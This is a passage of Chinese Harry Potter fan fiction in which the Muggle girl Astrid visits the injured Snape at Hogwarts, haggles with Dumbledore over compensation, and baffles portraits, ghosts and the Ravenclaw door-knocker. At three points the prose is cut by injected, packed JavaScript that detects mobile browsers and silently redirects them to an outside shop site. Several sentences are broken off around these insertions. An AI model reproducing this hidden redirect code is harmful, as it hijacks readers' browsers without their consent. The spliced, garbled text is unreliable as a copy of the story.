门后是一条长长的走廊,两边是一扇扇小门,门上有号码牌。海格带着她走到最里面一扇门前,轻轻敲了敲,然后推开。 那是一间宽敞的病房,整齐地排列着几张病床,床上铺着雪白的床单。窗边站着一个穿墨绿色长袍的女人,一头黑发紧紧束在脑后,表情严肃得像石雕。房间中央站着另一个穿深紫色长袍的老人,长长的银白胡须垂到腰际,半月形眼镜后面的蓝眼睛温和而深邃。 但阿斯特丽德的目光越过他们,落在最里面那张病床上。 斯内普躺在那里。 他的脸上缠满了绷带,只露出两只眼睛和一张抿成一条直线的嘴。绷带从额头一直裹到下巴,只在眼睛和鼻孔处开了几个洞。他的胸口和胳膊也缠着厚厚的纱布,整个人看起来像一具刚出土的木乃伊。 他正用一种咬牙切齿的目光瞪着那个银白胡须的老人,嘴唇紧紧抿着,显然极不愉快。 “……我再说一遍,”他的声音沙哑虚弱,但喷毒液一点没含糊,甚至有些气急败坏,“我没有家属。您擅自做主把一个麻瓜叫来学校——暴露整个巫师世界给她——我有理由怀疑您是借题发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334586|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挥,校长先生。您想弄清楚什么?您大可以直接问。” 邓布利多叹了口气,开始安抚这只炸毛的猫:“西弗勒斯,按照校规,学生出现特殊情况时,校长有义务通知其家属。你没有父母,但你有——” “一个麻瓜。”斯内普打断他,声音里带着刺,“一个什么都不知道的麻瓜。您叫她来,能干什么?让她看着我缠满绷带的样子,然后回去跟她的姑妈说‘我朋友在魔法学校变成木乃伊了’?还是您想从她嘴里套出什么——” “西弗勒斯!”阿斯特丽德脚步急促,顾不得跟那两个穿巫师袍的大人打招呼,径直来到病床边,俯下身打量着他,声音急切担忧:“你怎么样?” 斯内普的声音戛然而止。 他的目光从邓布利多身上移开,落在她脸上,接连划过意外,恼怒,窘迫,还有一点他打死也不会承认的、类似“你来了”的东西。 但下一秒,那些情绪就被一层没好气的恼怒完全盖住了。 “你怎么来了?”他的声音还是沙哑的,但那股毒液的劲儿一点没减,“脑子蠢吗?谁叫你都来?大半夜的,一个女孩跟着陌生人跑——万一是什么陷阱呢?万一——” “万一什么?”阿斯特丽德打断他,盯着他那张缠满绷带的脸,“万一有人要害我?但你现在这样,我是一定得来的。” 斯内普噎住了。他瞪着她,嘴唇动了动,像想说什么刻薄话,但最后只是从牙缝里挤出一句:“死不了。别一副要哭的样子。” “我没要哭。” “你眼眶红了。” “那是灯光。” “医疗翼没有灯,只有荧光闪烁。” 阿斯特丽德瞪着他。斯内普也瞪着她。 旁边的邓布利多轻轻咳嗽了一声:“呃——西弗勒斯,”他的声音里带着一丝温和的打趣,“我建议你不要这样对待自己的‘家属’。毕竟她大半夜赶来,显然是关心你的。” 斯内普的目光移向邓布利多,那双黑眼睛里写满了:你闭嘴。 邓布利多笑了笑,转向阿斯特丽德:“杜兰特小姐,我是阿不思·邓布利多,霍格沃茨的校长。”他微微欠身,姿态优雅,“这位是米勒娃·麦格,我们的副校长兼变形课教授。刚才那位正在忙碌的是庞弗雷夫人,我们的校医。” 麦格教授微微点头,表情依然严肃,但目光在阿斯特丽德身上停留了一瞬——微微柔和了点。 “按照校规,”邓布利多继续说,“家属有权了解事情经过。我来说明一下今晚发生了什么。”他脸上的笑容收敛了一点:“起因是两位格兰芬多学生——詹姆·波特和小天狼星·布莱克——为了报复西弗勒斯,打听到他在一间空教室里加班加点熬制魔药。他们趁他暂时离开时,破解了他给坩埚设下的防护咒语,往里面加了一些……嗯,同样违规制作的小玩意儿。” 阿斯特丽德的眼睛眯了起来。 “然后,”邓布利多说,“西弗勒斯回来后,用魔杖搅拌坩埚时,坩埚爆炸了。他的脸、胸口和胳膊受了重伤。庞弗雷夫人已经处理过,没有生命危险,但需要时间恢复。” 阿斯特丽德听完,沉默了几秒,表情在慢慢变冷。她直直地盯着邓布利多:“所以,校长先生,”她的声音很平静,“您给那两个肇事者应有的处罚了吗?” 17. 你肯定是个斯莱特林 邓布利多的眉毛微微抬起。 麦格教授的目光也落在阿斯特丽德身上,严肃的表情里闪过一丝意外——大概是没想到这个看起来普普通通的麻瓜女孩,会直接了当地问出这个问题。 “他们会被处罚。”麦格教授开口,声音像她的表情一样严肃,“扣分,劳动服务,以及——我会亲自给他们写一封措辞严厉的信,寄给他们父母。” “只有这些?”阿斯特丽德依然平静地发问。 麦格教授的眉毛也挑起来。 “杜兰特小姐,”邓布利多温和地说,“你想说什么?” 阿斯特丽德看着他,眼里闪过复杂的、近乎算计的光:“我想说,西弗勒斯现在这样,躺在病床上,满脸绷带,至少得养一个月吧?他的魔药生意怎么办?他的功课怎么办?他的——总之,他的一切都受了影响。”她的目光扫过邓布利多和麦格,“所以,除了扣分和劳动服务,那两个肇事者应该公开道歉,并赔偿损失。” “赔偿?”麦格教授的眉毛又抬了抬。 “营养费。”阿斯特丽德数着手指,“养伤期间需要补充营养,这笔钱总不能让他自己出。精神损失费——被人害成这样,肯定有心理阴影,也需要赔偿。还有误工费——他那些魔药,本来可以卖钱的,现在全泡汤了。” 邓布利多的表情有些难以捉摸,麦格教授欲言又止。 斯内普躺在病床上,缠满绷带的脸上看不出表情。但他的眼睛正盯着阿斯特丽德,里面清晰地划过意外,困惑,还有一丝—— 他别开目光。 “杜兰特小姐,”邓布利多开口,声音很温和,“你刚才说的这些,我很意外。” “意外什么?” “意外你的思维方式。”邓布利多的蓝眼睛透过半月形眼镜看着她,“如果当初你收到了霍格沃茨的录取通知书,分院帽一定会把你分到——” “斯莱特林。”麦格教授接话,语气十分笃定。 阿斯特丽德眨眨眼,语气依然平静:“感谢校长先生的肯定,我也很向往成为一名巫师。不过,身为麻瓜也不影响我捍卫自己同伴的利益。” 邓布利多看着她,“同伴。”他重复了一遍这个词。 “是的,同伴。”阿斯特丽德迎上他的目光,“我不懂你们巫师的那些规矩。但我知道,有人害了我朋友,他就得付出代价。” 病房里沉默了几秒。 邓布利多轻轻叹了口气:“好吧。你说得对,赔偿是应该的。而且——”他顿了顿,“有件事你可能不知道。西弗勒斯上学期末也惹了一些麻烦,欠了波特家一笔钱。” 阿斯特丽德愣了一下:“多少钱?” “十万加隆,分五年付清。” 阿斯特丽德的脸色一变。十万加隆?那是什么概念?换算成英镑够她在伊万斯家隔壁买个小房子了。 邓布利多看着她的表情,又叹了口气:“这样吧,波特和布莱克这次做的事,的确过分。我会跟他们父母沟通——把西弗勒斯欠的那十万加隆,免去四万。” 阿斯特丽德张了张嘴,然后转头看向病床上的斯内普,“你欠人家钱?” 斯内普被绷带裹紧的嘴角抽了抽:“上学期末的事。”他的声音干巴巴的,像在念一份他不愿意念的报告,“我用你的小玩意——伤了波特和布莱克。他们父母告到学校,要求赔偿十万。” 阿斯特丽德盯着他:“所以你一直欠着钱?” “分五年付清。” “那你为什么不告诉我?” 斯内普沉默地别过目光,盯着天花板,仿佛那上面有什么值得研究的东西。 阿斯特丽德深吸一口气,又转向邓布利多:“校长先生,您刚才说免掉那四万——是真的?” 邓布利多点点头:“作为交换条件,波特和布莱克这次的事就不公开追究了。你刚才说的那些营养费、精神损失费——也一笔勾销。” 阿斯特丽德想了想,没有立刻点头。眼里闪过一丝琢磨的光,像是正在心里快速拨动算盘珠。 “尊敬的校长先生,”她开口,语气礼貌得挑不出毛病,但每个字都透着一种“我在认真思考这笔交易是否划算”的意味,“我想您应该能够区分,以一敌多的正当防卫,和二对一的蓄意伤害,这两者之间的区别。” 邓布利多的蓝眼睛微微一闪:“当然。”他温和地说。 “那就好。”阿斯特丽德点点头,“那么,鉴于这次作案人员是两名,针对西弗勒斯的赔偿,按理说也应该是双份的。您刚才说的那些——营养费、精神损失费、误工费——都应该乘以二。” 说到这,她看了斯内普一眼,又转回邓布利多:“所以我在想,这笔钱加起来,是不是正好可以抵消西弗勒斯欠他们的那笔债务?” 麻瓜学校教的四乘二等于十? 邓布利多轻轻笑了一声:“杜兰特小姐,你的算术很好。但这里有一个问题。” “什么问题?” 邓布利多的笑容收敛了一点,那双蓝眼睛变得深邃起来,“上学期末,西弗勒斯用的那个小玩意儿——造成的伤害,比你想象的要严重得多。” 阿斯特丽德无辜又不解地眨了眨眼。 邓布利多看着她,语气依然温和:“波特先生和布莱克先生,当时失去了身体的一部分,是——彻底的、不可逆的损伤。两人已经无法延续家族血脉了。” 阿斯特丽德愣在那。紧接着,她的目光不由自主地转向病床上的斯内普。 斯内普躺在那儿,干脆闭上了眼睛,整个人散发着一种“我在装死”的气息。 阿斯特丽德的表情变得有些古怪:“所以,”她慢慢开口,声音压低了一点,“波特家要十万,是因为——” 邓布利多点点头:“对于纯血巫师家族来说,继承人无法延续血脉,是一件……天塌了的事。” 阿斯特丽德忍不住又看了斯内普一眼。 斯内普闭着眼睛,一动不动。 阿斯特丽德只好转回头,深吸一口气:“我明白了。”她停顿片刻,似乎在重新计算什么,“那么——五万。免除五万。” “五万?” “对。”阿斯特丽德点点头,语气重新变得平稳,“西弗勒斯欠他们十万。这次他们欠西弗勒斯——按照双份赔偿算,本来应该是一个不小的数字。但考虑到伤情的……嗯,‘不对等’,我接受打折,五万。” 她看着邓布利多:“剩下的五万,他自己还。这是公平的。” 邓布利多静静看着她,看了好一会儿,然后慢慢弯起嘴角,声音里带着一种由衷的欣赏:“杜兰特小姐,你有没有想过——如果你有魔力,你会成为一个相当出色的斯莱特林?” 阿斯特丽德歪了歪头,语气依然平静:“感谢您的肯定。不过我觉得,没有魔力也挺好的。至少我不会因为用错咒语而把自己炸进医院。” 她说着,瞥了一眼病床上的斯内普。 很好,他终于睁开眼睛了。但他用那只没受伤的眼睛瞪了她一眼。 邓布利多轻轻笑着看向病床:“好好休息,西弗勒斯。杜兰特小姐会留下来照顾你几天,有什么需要,可以随时让庞弗雷女士通知我。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334587|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宵禁时间到了。 邓布利多和麦格告辞离开。临走前,邓布利多对阿斯特丽德说,家养小精灵会给她安排一间空寝室——在格兰芬多塔楼,有一间女生宿舍空着。 阿斯特丽德道了谢,送他们到门口。门关上后,她走回病床边,在椅子上坐下。 沉默。 斯内普躺在那儿,仍旧盯着天花板,一动不动。 阿斯特丽德看着他:“十万加隆。” 斯内普没动。 “你打算瞒我多久?” “没打算瞒。”斯内普的声音从绷带后面飘出来,干巴巴的,“只是觉得没必要告诉你。你又不是古灵阁,告诉你有什么用?” 阿斯特丽德瞪着他:“我没钱,但我可以想办法。” “想办法?”斯内普终于转过头来,那只没受伤的眼睛里闪过一丝嘲讽,“什么办法?多卖几瓶润肤霜?你那些护肤霜,一瓶卖几个银西可——十万加隆,你得卖到退休。” 阿斯特丽德噎住了。 斯内普转回头,继续盯着天花板:“我已经有办法解决了。” “什么办法?” “熬魔药。”他的声音淡淡的,“有人需要大批量高精尖的魔药,酬劳很高。熬完这一批,钱就差不多了。” 阿斯特丽德皱起眉头:“什么人需要那么多魔药?” 斯内普又抿起嘴巴。 “你不认识的人。”他最后说,语气里有一种“到此为止”的意味。 阿斯特丽德盯着他看,她知道他没说实话,但她没有再问。 “好吧。”她站起来,走到旁边那张空着的病床边,躺了下来。床很软,枕头上有一种淡淡的、像草药一样的香味。 她面朝向他侧躺着,“我刚才进来的时候,”她的声音轻轻的,“看到好多幽灵。有一个胖胖的,穿着那种老式的袍子,从我身边飘过去,还跟我打招呼。” 斯内普没吭声。 “还有那些画像。”她继续说,“我路过的时候,他们都在看我。有一个穿粉红色裙子的老太太,还冲我挥了挥手。” “那是维奥莱特。”斯内普的声音从旁边飘过来,“她一向喜欢跟人打招呼。” “你认识她?” “她在八楼,离格兰芬多公共休息室不远。我之前……经常路过,就记住了。” 阿斯特丽德点点头:“还有那些盔甲,居然会自己动。我从旁边经过的时候,有一个还朝我鞠躬。” “那是礼仪。”斯内普的语气里带着一丝若有若无的嘲讽,“霍格沃茨的盔甲都是几百年前留下来的,那时候流行这套。现在——没人在乎了。” “我觉得挺有意思的。”阿斯特丽德说,嘴角微微弯起,“比蜘蛛尾巷有意思多了。” 斯内普沉默了几秒,然后开口,声音低低的,“别太喜欢,反正你也待不了几天。” 阿斯特丽德看着对面那张缠满绷带的脸,看着那双半阖着的黑眼睛。月光从窗户照进来,落在他的病床上,把他整个人笼罩在一片淡淡的银光里。 “晚安,西弗勒斯。”她轻声说。 斯内普没有回应,只是缓慢地眨了下眼,阿斯特丽德明白那是“我知道了”的意思。 过了一会儿,阿斯特丽德的呼吸渐渐变得平稳。斯内普躺在病床上,听着她均匀的呼吸声。 月光很安静。 他忽然想,她刚才说的那些——幽灵,画像,盔甲——其实都是他每天见到的东西,他从来没觉得有什么特别的。但从她嘴里说出来,好像突然有了一点不一样的光。 18. 萨姹与传说 15. 校长办公室里暖意融融,炉火在雕花壁炉里噼啪作响,把整个房间染成一片温暖的金色。那些细腿的银器在周围的书桌上喷着烟雾,缓缓旋转,发出轻柔的叮当声。墙上挂满了历任校长的肖像,他们或是在装睡,或是假装对彼此的画框感兴趣,但每一双眼睛都时不时地往办公室中央瞟。 邓布利多坐在那张巨大的书桌后面,两只手的指尖相对,目光落在虚空中的某一点,像是在放空,又像是在思考什么深邃的问题。 墙上的菲尼亚斯·奈杰勒斯·布莱克——小天狼星·布莱克的曾曾祖父,霍格沃茨有史以来最不受欢迎的校长之一——用一种不赞同的语调开口了。 “校长,听说你让一个麻瓜进入了城堡?” 周围的画像们瞬间安静下来。那些刚才还在装睡的,眼皮颤了颤;假装对画框感兴趣的,耳朵竖了起来。有几个甚至悄悄往菲尼亚斯的方向挪了挪——为了更好地听八卦。 邓布利多从书桌后抬起头,看向那幅挂着华丽金框的画像。菲尼亚斯正居高临下地俯视着他,那张精瘦的脸上写满了“我不赞同但我想听你怎么解释”的表情。 “是的,菲尼亚斯。”邓布利多语气温和:“你有什么建议吗?” 菲尼亚斯的嘴角抽了抽。 周围的画像们暗暗趴在画框边上,目光齐刷刷地投向菲尼亚斯——那目光里写着:说吧,快说吧,说出什么不中听的话来吧。 菲尼亚斯当然不会让他们失望。 “既然您都这么问了,”他拖长了调子,下巴微微抬起,“那我必须要说——她就是个坏心眼的、邪恶的、不配出现在城堡里的坏丫头!”他的声音拔高了,那张贵族式的脸上泛起一丝激动的红晕,“她让我那个不成器的重重孙子失去了——” 话音戛然而止,像被什么东西掐住了喉咙。 菲尼亚斯的嘴张着,但后面的话卡在那里,吐不出来。作为曾经的布莱克家主,他太清楚那个事实意味着什么——纯血家族的继承人,断代了,绝后了。几百年的布莱克家谱,到他这一支,断了。 他脸上的表情很复杂。愤怒,悲伤,还有一点他死也不会承认的、近乎脆弱的…… 画像们安静下来。那几个刚才还兴致勃勃等着听八卦的,这会儿都不说话了。 邓布利多轻轻叹了口气。 “哦,菲尼亚斯。”他的声音比刚才柔和了许多,“我能理解你的心情,对此我也感到很抱歉。作为校长,我的确负有不可推卸的责任——这点我必须承认。” 他的目光从菲尼亚斯脸上移开,落向窗外的夜色,“不过,关于杜兰特小姐这个人,在探讨她的所作所为之前,我想我们应该先听听血人巴罗怎么说。” 画像们窃窃私语起来。 “血人巴罗?” “关血人巴罗什么事?” “那个斯莱特林的幽灵?” “他从来不跟人说话的——除了偶尔骂骂皮皮鬼——” “校长为什么要问他?” 门在这时被敲响了,是幽灵特有的、穿过木门时发出的、若有若无的声响。 邓布利多头也没回,只是温和地说:“请进。” 那扇厚重的橡木门没有被推开。一个身影缓缓地、直接地穿过了它——半透明的,银白色的,带着一股淡淡的、来自几个世纪前的寒意。 血人巴罗。 他的身影比其他幽灵都要凝实一些,也阴郁得多。瘦削的脸庞,凹陷的眼睛,一身缀满银饰的袍子——还有那副永远挂在脖子上的、沉重的镣铐。他是霍格沃茨所有幽灵里最让人不敢靠近的一个,连皮皮鬼见了他都要绕道走。 他微微垂着头,对那些画像们也稍稍欠身——一个标准的、中世纪的、无可挑剔的贵族礼仪。尽管他的面容依然可怖,那双凹陷的眼睛里依然透着阴郁,但那个动作本身……算得上优雅和赏心悦目。 画像们交换了一个困惑的眼神。 菲尼亚斯的眉毛已经快挑到发际线了。 “巴罗先生。”邓布利多平和地开口,“据说你今早在走廊里偶遇了杜兰特小姐,是吗?” 血人巴罗转向邓布利多,再次微微欠身——这次是对校长的。 “是的,校长先生。”他的嗓音低沉而冷酷,像从很远的地方传来的回声,“我在斯莱特林公共休息室外面遇到了她。她当时正在跟维斯塔夫人的画像聊天,似乎对城堡的历史很感兴趣。” “维斯塔夫人的画像?”一个胖胖的男巫肖像嘀咕,“那个十五世纪的——” “嘘——” 邓布利多点点头,目光直视着血人巴罗:“那么……你认识她吗?我听说你主动过去朝她行礼。” 画像们安静了。 彻底安静了。 菲尼亚斯张着嘴,那双眼睛瞪得像要掉出画框。他看看血人巴罗,又看看邓布利多,目光在两者间来回扫视,那表情像是在说“你听到了吗他说什么?”。 血人巴罗沉默了一会儿,然后抬起头——那双凹陷的眼睛里头一回(死后头一回)闪烁着微光:“是的,校长先生。”他的声音依然低沉,但多了明显的……敬畏?“我应该尊敬她。” 他的目光扫过墙上的画像,最后落在菲尼亚斯身上,“我想……布莱克校长也应该尊敬她。” 菲尼亚斯的表情精彩极了,就跟听见“血人巴罗亲吻了皮皮鬼”一样,两只眼睛恨不得在幽灵身上再凿出个洞。他那副“见鬼了”的表情,让人毫不怀疑如果他能做到,一定会冲出画框,按住血人巴罗的肩疯狂摇晃,大喊“你清醒一点!” “巴罗,”他的声音有点发颤,“你是说——我们斯莱特林的幽灵,一个高贵的、追随创始人的、纯血出身的幽灵——给一个不知道从哪里来、也不知天高地厚的坏麻瓜行礼了?!” 他的声音像一只被踩了脖子的尖叫鸡。 隔壁画像忍不住捂住耳朵。 邓布利多摊摊手,老神在在地补充了一句:“中世纪最标准得体的礼仪。” 菲尼亚斯的嘴张了又合,合了又张。他的袍子在微微颤抖,是一种细微的、近乎哭泣的颤抖。 邓布利多看了他一眼,出于人道主义关怀,没再说什么。怎么说也是前辈,又刚经历了绝后之痛,理应享有旁人的包容。 血人巴罗没有理会菲尼亚斯的崩溃。他只是站在那儿,那双凹陷的眼睛里映着炉火的光。 “她是萨姹。”他说,声音低沉而敬畏,“我不会认错。” 沉默。 震耳欲聋的沉默。 福克斯从栖木上抬起头,那双黑豆一样的眼睛瞪得圆溜溜的。 墙上的画像们集体僵住了。那几个刚刚还在打盹的,这会儿嘴巴张得老大,嘴角还挂着可疑的银丝——一看就是让人羡慕的睡眠质量,被强行打断了。 菲尼亚斯的嘴张着,但一个字也说不出来。他现在对于血人巴罗只有一个想法:你终于被爱情的苦果逼疯了?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“还不确定呢……别瞎说。” “哦,别这样,你明明也知道那个传说——” “什么传说?” “就是那个——只有校长才知道的——” “嘘——” 菲尼亚斯靠在画框边缘,脸色复杂得像打翻了调色盘。他的目光追着血人巴罗消失的方向,嘴唇动了动,但什么也没说出来。 邓布利多已经站起来,开始在办公室里踱步。他的脚步很慢,长袍在地板上轻轻拖过。那些银器继续喷着烟雾,画像继续窃窃私语,福克斯在栖木上歪着脑袋看着他。 很久之后,他终于站定。 “传说一定有其存在的道理和价值。”他的声音不大,但每个人都听得清清楚楚,“更何况,它被珍而重之地通过历代校长口口相传。” 那是一则只被霍格沃茨校长知晓的预言和守则—— 当萨姹再次出现时,霍格沃茨——乃至整个英国巫师界,都将出现灾祸。但相应的,她——或者她残余的力量,会保佑霍格沃茨。 没有人知道这则预言的来历。没有人知道它是什么时候开始流传的。但每一任校长在接任时,都会被郑重告知:记住这个传说,记住她。 邓布利多转过身,目光落向角落里那顶破旧的分院帽。 它静静地坐在玻璃柜里,皱巴巴的,满是补丁,看起来就像一顶普通得不能再普通、被遗忘了几个世纪的旧帽子。 良久,他低声道:“或许,是该验证一下传说了。” 19. 嘚瑟,四处嘚瑟 16. 如果“嘚瑟”有代名词的话,斯内普愿意将那顶桂冠从那支每天在他床头晃来晃去的羽毛笔头上褫夺下来,重新颁发给此刻正在城堡里四处撒野的那个麻瓜。 看看她都干了些什么吧? 据埃弗里和穆尔塞伯下午来探望时的汇报——她跟胖夫人科普最新的口红色号以及美甲技术,超大声地惋惜“像您这么富贵的夫人竟然不能使用我们A.S的产品,真是令人感到痛心”。然后她拜托胖夫人跟格兰芬多的姑娘们做宣传,并且自称为胖夫人的“贴心闺蜜”,跟她咬耳朵—— “您知道的吧?学校把您这么一位矜持又美丽的夫人挂在这里,而后面竟然是一个人人都可以进入的洞……这是不是对您不太尊重?” “那明明是通道。”斯内普躺在病床上,咬牙切齿地瞪着此刻正端着一盘食物走进来的阿斯特丽德,“你也可以叫它过道。走廊。入口。任何一个比‘洞’体面一点的词!” 从她第二天刚搬到格兰芬多塔楼不久,从那一侧传来的嗡嗡声就没消停过,吵得他连睡个午觉都不得安宁。 埃弗里和穆尔塞伯来探望时,绘声绘色地描述了那天的盛况:胖夫人不知怎么了,中午那会儿就是不肯让开她身后的通道,宣称那是不雅的、侮辱女性的。十几二十个格兰芬多被堵在走廊里,进也不是退也不是,最后不得不去找级长,级长又去找教授,最后麦格教授亲自出马,好说歹说才让胖夫人相信“那个洞只是一个建筑结构,没有任何隐喻意义”。 斯内普当时眉毛抽动得差点把绷带给崩开。鬼知道那个臭丫头看了多少不该看的东西,竟然能跟一个兢兢业业守门上百年、对世事变迁一无所知的画像讲这些? “哦,还有——”穆尔塞伯当时面色古怪地补充,“凡是需要通过那个入口的学生,都得听胖夫人宣传一个新兴美妆品牌。叫什么A.S,好像是什么混血牌子。几个口红和美甲色号是‘本日震撼首发’。” 埃弗里确信,他听到了磨后槽牙的声音。那声音来自病床上那个缠满绷带的身影。 “我不知道什么美妆品牌。”那个身影发出干巴巴的、生硬的声音,每个字都像从牙缝里挤出来的,“更不知道什么口红美甲。” 该死的、见鬼的“混血A.S”。她是生怕别人猜不到那些“作弊的护肤品”是谁提供的小美化吗?生怕禁止滥用麻瓜物品办公室不会把他带走审问吗? 这个该死的、无法无天的、讨人厌的麻瓜! 他刚在心里咆哮完最后一轮,那个该死的、无法无天的、讨人厌的麻瓜就推门进来了。 阿斯特丽德端着一个托盘,上面摆满了他这几天已经吃习惯的、精挑细选的晚餐。她的笑容灿烂得像窗外难得的阳光,甜得像她昨天非要塞给他的那块蜂蜜公爵的糖果。 “我拿了晚餐过来!”她的声音欢快得像只麻雀,冲他和两位舍友打招呼,“有很多呢,要一起吃吗?” 埃弗里在斯内普那道足以杀人的目光中,微微红着脸摇了摇头。 穆尔塞伯则是一副不太想跟麻瓜沾边的姿态——尽管他刚才已经跟那个麻瓜的朋友聊了十分钟——礼貌地颔首,然后拉着埃弗里离开了。 门关上。 只剩下他们两个人。 “干嘛这么看着我?”阿斯特丽德心情很好地将托盘放在床头柜上,拿起刀叉,把牛排和烤鸡胸肉切成小块——比她平时切的还要小一点,方便用餐叉喂他。 “你故意的。”斯内普抿紧嘴。那张缠满绷带的脸上看不出表情,但那双眼睛里写着明晃晃的:你完蛋了。 阿斯特丽德不甚在意地“嗯哼”了一声。她拿起叉子,叉起一块切得方方正正的鸡胸肉,喂到他唇边,“啊~张口。” 那神态活像个哄幼儿园小班的温柔老师,耐心,慈祥,带着一种“你不吃我就不走”的笃定。 斯内普抿着嘴抵抗了一会儿。 但那块鸡胸肉烤得金黄,散发着诱人的香气。他的胃比他的意志诚实。于是他张开嘴,顺从地吃下那块鸡胸肉,幅度受限地咀嚼着。 阿斯特丽德满意地点点头,把剩下的肉块又切小了一点——方便他咀嚼——然后继续喂食。 “你是生气我把品牌名叫A.S,”她又喂了一块,“还是气我提出了‘混血’这个词?” 她把南瓜汁插上吸管,举到他嘴边。等他乖乖张口开喝了,才补充问:“亦或是……你在气我告诉胖夫人的那个有辱斯文的小提醒?” 斯内普猝不及防地咳嗽起来。 阿斯特丽德连忙给他拍胸口——拍着拍着,她故意往他左右两边挪了挪手,体会了一下手感。 可惜,隔着纱布呢。摸不出个什么。 “不许——再提——那些话。”他的语气低沉,威胁意味十足,但被咳嗽打断了几次,威力大打折扣。 “好好好,我不提了。”她从善如流地点头,依旧像哄幼儿园的小朋友一样哄着他,“来,再吃点,今天的馅饼可香了。家养小精灵的手艺真的没话说,比我做的好吃一百倍。” 她一边劝着他,一边无辜又期待地望着他那张看不出什么具体表情的脸。“看在杜兰特小精灵尽心竭力伺候您的份上,”她眨巴眨巴眼睛,刻意地、夸张地、像在演戏剧一样地眨巴眨巴,“伟大又心善的巫师先生可以帮我变一身斯莱特林校服吗?” 斯内普别过头,语调十分平板:“被放逐的家养小精灵才会得到一身衣服。我想我在二年级就告诉过你了。” 阿斯特丽德伸手,把他的脑袋掰回来——动作轻柔,但不容拒绝。 “那不一样。”她微微嘟着嘴,那双烟紫色的眼睛近在咫尺,亮得让人没法直视,“我是被放逐后还会自己找回来的、忠心耿耿的小精灵。” 斯内普很庆幸自己现在被纱布裹着,她完全看不到自己的耳根和脸颊。 但他依旧用一种“你做梦”的表情恶狠狠地瞪着她——或者说,努力瞪出那种效果。从那双眼睛里射出的光芒来看,效果应该还行。 阿斯特丽德也没再纠缠这个话题,只是继续喂饭,一勺一勺,一块一块,尽职尽责得像一个真正的、忠心耿耿的家养小精灵。 饭后,她收拾好托盘,站起来,走到距离病床五步远的地方——一个安全的、石化和恶咒都够不着的距离——站定。 她转身看着他,眼神里是看透一切的光芒:“难怪你的变形术是E。根本不是因为你‘有创意但不够稳’。是因为你压根变不出来吧?略略略——” 她说完,转身就跑。 夺门而出。头也不回。溜得比兔子还快。 斯内普在有限的视野里看着那个门口。 他的眉毛微微拧着,但那个被绷带裹住、本应该什么都看不出来的嘴角却忍不住弯起一个弧度。 那个弧度很轻,很淡,但确实是存在的。 他的确会给她一个石化咒,或者一个“火烤热辣辣”,或者任何能让她闭嘴的咒语。 但他现在动不了。魔杖在床头柜上,他够不着。 伟大又心善的巫师先生坚信,自己离了魔杖是肯定无法用出魔法的。 嗯。 坚信。 阿斯特丽德从医疗翼逃出来之后,在城堡里漫无目的地晃荡。 她晃过走廊,晃过楼梯,晃过那些时不时飘过的幽灵,最后不知不觉地来到一个她没见过的地方——拉文克劳塔楼。 据说这里是看星星的最佳观景点,所以她来打个卡。 塔顶的风很大,很凉,吹得她的外套猎猎作响。夜空中的星星密密麻麻,像撒在黑绒布上的碎钻石。她仰着头看了半天,只认出北斗七星——就这还得益于中学地理课没睡着。 至于别的星座,那是一概不知。 在塔顶吹了会儿凉飕飕的夜风,她裹紧自己的麻瓜外套,决定下去。走到拉文克劳公共休息室门口时,她忍不住停下来,凑近去看。 那扇门看起来很古老,木头上雕着精细的花纹,正中央是一个青铜门环,形状像一只展翅的鹰。她刚把手搭上去,那个门环就动了。 它抬起头——如果门环可以“抬头”的话——用一种高傲的、带着几分审视的声音说:“欢迎来到拉文克劳塔楼。要进入休息室,必须回答一个问题。听好了:我有一把钥匙,能打开所有的门,却打不开任何一把锁。这把钥匙是什么?” 阿斯特丽德微微歪头,这什么谜语? 她想了想,试探着说:“□□?不对,□□能打开锁——” “错。” “——正确答案是什么?” 门环发出一声轻哼,声音里带着一种“这都不知道”的傲慢。 “是‘正确’的钥匙。”它说,“‘正确’的钥匙能打开所有的门——比喻意义上的——但打不开任何一把锁,因为它不是实物。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不用。”门环的声音里带着倔强,“先开第一个开关,等几分钟,关掉。再开第二个开关,然后进房间。亮着的是第二个开关控制的,不亮但热的是第一个开关控制的,剩下的是第三个。” 阿斯特丽德点点头,眼里闪过赞许,“不错嘛。那我再问你一个——” 半小时后。 阿斯特丽德还靠在门框上,双手环抱在胸前,左脚越过右脚点在地面上。 门环的声音已经不像刚开始那么傲慢了。 “最后一个。”她说,“证明:黎曼ζ函数的所有非平凡零点都位于复平面上实部为1/2的直线上。” 沉默。 死一般的沉默。 门环没有回答。 阿斯特丽德等了三十秒。一分钟。五分钟。 她轻笑着站直身子,对着那个沉默的门环挑了挑眉,然后转身,迈着潇洒的步伐离开。 背对着它,她挥了挥手。 “晚安,好好学习。” 是夜。 拉文克劳的学生们陆续从图书馆、从礼堂、从有求必应屋回来,却发现——进不去门了。 门环死磕一个问题。 问题是:证明黎曼ζ函数的所有非平凡零点都位于复平面上实部为1/2的直线上。 